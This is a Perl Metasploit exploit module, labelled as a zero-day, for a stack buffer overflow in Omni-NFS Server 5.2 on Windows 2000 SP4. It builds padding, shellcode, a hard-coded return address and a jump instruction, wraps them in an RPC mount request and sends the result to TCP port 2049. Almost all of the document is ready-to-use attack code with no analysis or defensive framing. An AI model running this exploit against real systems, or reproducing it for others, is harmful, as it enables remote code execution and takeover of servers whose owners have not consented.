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# VULNDISCO LICENSE

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use strict;

package Msf::Exploit::vd_xlink;
use base "Msf::Exploit";
use Pex::Text;

my $advanced = { };

my $info =
{
"Name" => "[0day] Omni-NFS Server overflow",
"Version" => "\$Revision: 1.0 \$",
"Authors" => ["Evgeny Legerov"],
"Arch" => ["x86"],
"OS" => ["win32"],
"Priv" => 1,
"UserOpts" =>
{
"RHOST" => [1, "ADDR", "The target address"],
"RPORT" => [1, "PORT", "The target port", 2049],
},

"Description" => Pex::Text::Freeform(q{
Exploit for Omni-NFS Server stack overflow vulnerability.
}),

"Payload" =>
{
"Space" => 427,
},

"DefaultTarget" => 0,
"Targets" =>
[
["Omni-NFS Server 5.2 (nfsd.exe: call ebx) / Windows 2000 SP4", 0x00401843]

],

"Keys" => ["vd_xlink"],
};

sub new {
my $class = shift;
return $class->SUPER::new({"Info" => $info, "Advanced" => $advanced}, @_);
}

sub Exploit {
my $self = shift;
my $host = $self->GetVar("RHOST");
my $port = $self->GetVar("RPORT");
my $writedir = $self->GetVar("DIR");
my $bind_port = $self->GetVar("LPORT");
my $target = $self->Targets->[$self->GetVar("TARGET")];
my $encodedPayload = $self->GetVar("EncodedPayload");
my $shellcode = $encodedPayload->Payload;

my $payload = "";
$payload .= "\x4d" x 9;
$payload .= $shellcode;
$payload .= "\x4d" x (427 - length($shellcode));
$payload .= "\x4d\x4d\x4d\x2d";
$payload .= pack("V", $target->[1]);
$payload .= "\xe9\x17\xfb\xff\xff"; # jmp $-1257
$payload .= "\x45" x 351;

my $s = "";
$s .= pack("N", 1);
$s .= pack("N", 0);
$s .= pack("N", 2);
$s .= pack("N", 100005);
$s .= pack("N", 1);
$s .= pack("N", 1);

$s .= pack("N", 1);
$s .= pack("N", 400);
$s .= substr($payload, 0, 400);

$s .= pack("N", 1);
$s .= pack("N", 400);
$s .= substr($payload, 400);

my $req = pack("N", length($s) | 0x80000000) . $s;

my $sock = Msf::Socket::Tcp->new("PeerAddr" => $host, "PeerPort" => $port);
if ($sock->IsError) {
$self->PrintLine("Error creating socket: " . $sock->GetError);
return;
}

$sock->Send($req);

sleep(3);

$sock->Close();
}